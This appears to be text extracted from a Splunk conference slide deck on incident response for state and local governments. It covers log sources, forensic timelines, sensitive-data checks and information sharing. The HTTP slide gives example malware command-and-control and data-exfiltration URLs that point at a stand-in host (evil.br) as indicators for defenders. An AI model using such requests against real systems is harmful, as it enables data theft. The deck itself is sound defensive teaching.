Incident Response Using Splunk for State and Local Governments

(1)

Bert Hayes

Solu=ons Engineer

bert@splunk.com #splunkconf

Incident Response Using

Splunk for State and Local

Governments

(2)

Legal No=ces

During the course of this presenta=on, we may make forward-‐looking statements regarding future events or the expected performance of the company. We cau=on you that such statements reﬂect our current

expecta=ons and es=mates based on factors currently known to us and that actual events or results could diﬀer materially. For important factors that may cause actual results to diﬀer from those contained in our forward-‐

looking statements, please review our ﬁlings with the SEC. The forward-‐looking statements made in this presenta=on are being made as of the =me and date of its live presenta=on. If reviewed aVer its live

presenta=on, this presenta=on may not contain current or accurate informa=on. We do not assume any obliga=on to update any forward-‐looking statements we may make. In addi=on, any informa=on about

our roadmap outlines our general product direc=on and is subject to change at any =me without no=ce. It is for informa=onal purposes only and shall not, be incorporated into any contract or other commitment. Splunk

undertakes no obliga=on either to develop the features or func=onality described or to include any such feature or func=onality in a future release.

Splunk, Splunk>, Splunk Storm, Listen to Your Data, SPL and The Engine for Machine Data are trademarks and registered trademarks of Splunk Inc. in the United States and other countries. All other brand names, product names, or trademarks belong to their respecCve

owners.

(3)

(4)

About Bert

!   15 years experience in Systems Administra=on & Network Security

!   10 years experience in IT security for Texas state government

–  Texas Educa=on Agency

–  University of Texas at Aus=n

–  Department of Informa=on Resources

–  Texas Higher Educa=on Coordina=ng Board

!   5 years experience using Splunk for IT security

(5)

Agenda

!   Incident Handling at State.gov

!   Must-‐Have Data Sources for Basic Incident Handling

!   Post-‐Incident Data Collec=on

!   Crea=ng a Timeline of File System Meta Data

!   Did 10e9_SSNs.csv Leak Out?

!   Sharing with Others

(6)

Incident Handling at

State.gov

(7)

Incident Handling at State.gov

!   Increased likelihood of storing sensi=ve data

!   Typically limited resources

!   Legisla=ve mandates to report security breaches

!   Internal agency to agency or state to state informa=on sharing

(8)

“We discovered, inves=gated and closed an open invita=on

to aeackers in less than a few hours. Without Splunk

Enterprise, we would not have known the device was

compromised for weeks, at best.”

Kim Munoz IT Manager Nevada DOT

(9)

“Splunk has been a tremendous help to the Informa=on Security Oﬃce at ERS. We now have the visibility to research malware from the actual

point of entry and we can actually see when the user clicks on the malicious link. It’s been a great asset in incident response.”

Victoriano Casas III, MPA CISSP GSLC GSEC Informa=on Security Oﬃcer Employee Re=rement System of Texas

(10)

Covering the Bases: Pre-‐

Incident Data Collec=on

(11)

Pre-‐Incident Data Collec=on

!   Firewall logs

!   HTTP proxy logs

!   DNS server logs

!   DHCP server logs

!   Network ﬂow data

!   Extra credit for IDS/IPS logs

Collect This Now and Always

(12)

Firewall Logs

!   Sudden increase in outbound DENY events

!   Sudden increase in inbound DENY events

!   Unusual des=na=on IPs

!   Unusual des=na=on ports

!   Oﬀ-‐Site DNS?

You Keep on Knockin’

(13)

HTTP Traﬃc

!   Malicious code used to use Internet Relay Chat (IRC) for Command

and Control (C&C) traﬃc

!   Modern malware increasingly using HTTP for C&C traﬃc

–  GET hep://www.evil.br/zombie_checkin.php?alive=1

!   Data exﬁltra=on over HTTP

–  POST hep://www.evil.br/zombie_data.php

All Your Webs Are Belong to Us

(14)

(15)

DNS Sever Logs

!   If C&C is not over HTTP, web proxy will not log or block

! irc.evil.br

! ssl.evil.br

!   DNS itself as a C&C channel

Places Named AVer Numbers

(16)

DHCP Sever Logs

!   IP addresses are transient – Track an incident by MAC address

!   Track host’s presence on the LAN – Disable switch ports

!   OVen username is presented and requested as hostname

!   Make sure you’re tracking the correct IP based reports over =me

192.168.1.100 -‐> CA:FE:DE:AD:BE:EF

(17)

NetFlow

! Will record Command & Control meta data, regardless of protocol

!   Will record bytes of data transferred

!   Use to determine how much data was transferred when, to whom

!   Correlate against other data sources to determine incident severity

When I Get My Flow, I’m Dr. On The Go

(18)

(19)

Data You’ll Want AVer an Incident

!   Packet capture

!   RAM dump

!   Hard drive image

!   Server logs

Diving Deeper

(20)

(21)

Crea=ng a Timeline of File System Meta Data

log2%meline

hep://kleinco.com.au/thoughts-‐events/item/forensic-‐=meline-‐splunking

(22)

The Tools

The Sleuth Kit

•  Open source digital forensic tools

•  hep://www.sleuthkit.org/

•  Wrieen by Brian Carrier

•  hep://www.digital-‐evidence.org/fsfa/

•  Command line tools

•  hep://wiki.sleuthkit.org/index.php?

=tle=TSK_Tool_Overview

Timescanner

•  Front end for log2=meline

•  Wrieen by Kris=nn Gudjonsson

Screenshot here

(23)

Crea=ng the Super Timeline

(24)

props.conf

(25)

transforms.conf

(26)

(27)

(28)

Sensi=ve Data is in Known Loca=on

!   Searching for post-‐incident ﬁle access is now trivial

(29)

Sensi=ve Data is in Unknown Loca=on

!   Locate it!

!   Use SENF! The Sensi=ve Number Finder

! heps://senf.security.utexas.edu

!   It’s free!

(30)

(31)

How Severe is the Incident?

!   Was sensi=ve data accessed?

!   Correlate ﬁle access =mes with network ﬂow, other logs

!   Evidence that aeack has spread?

!   Correlate server logs with network ﬂow

!   No sensi=ve data access? No spread of aeack? BORING REPORT!

(32)

(33)

Sharing with Others

!   Many state and local governments have Informa=on Sharing and

Analysis Centers (ISAC)

!   Inter-‐agency informa=on sharing is common

!   Collect key elements of forensic inves=ga=on into new index

–  Use the “collect” command

!   Export key elements of forensic inves=ga=on as raw data

(34)

(35)

(36)

Summary

Splunk Enterprise is the Best Tool You Already Have for Incident Handling

•  Begin with established logging and

indexing data from network devices and network services

•  Add system forensic =meline and

op=onally packet capture analysis post-‐incident

•  Resul=ng data set can show if and

when sensi=ve data was accessed correlated with network ac=vity to determine if data was likely to leak

Screenshot here

(37)

Key Takeaway

Splunk Enterprise Can Keep Your Name Out of the Papers

Incident handling: state & local gov

•  Higher likelihood of sensi=ve

personal informa=on

•  Need to determine how incident

is reported

•  Public en==es leaking sensi=ve

data makes BIG HEADLINES

•  More informa=on sharing within

and between agencies

Incident handling anywhere

•  Need to log and monitor network

devices and network services

•  Need to determine root cause

of incident

•  Need to determine extent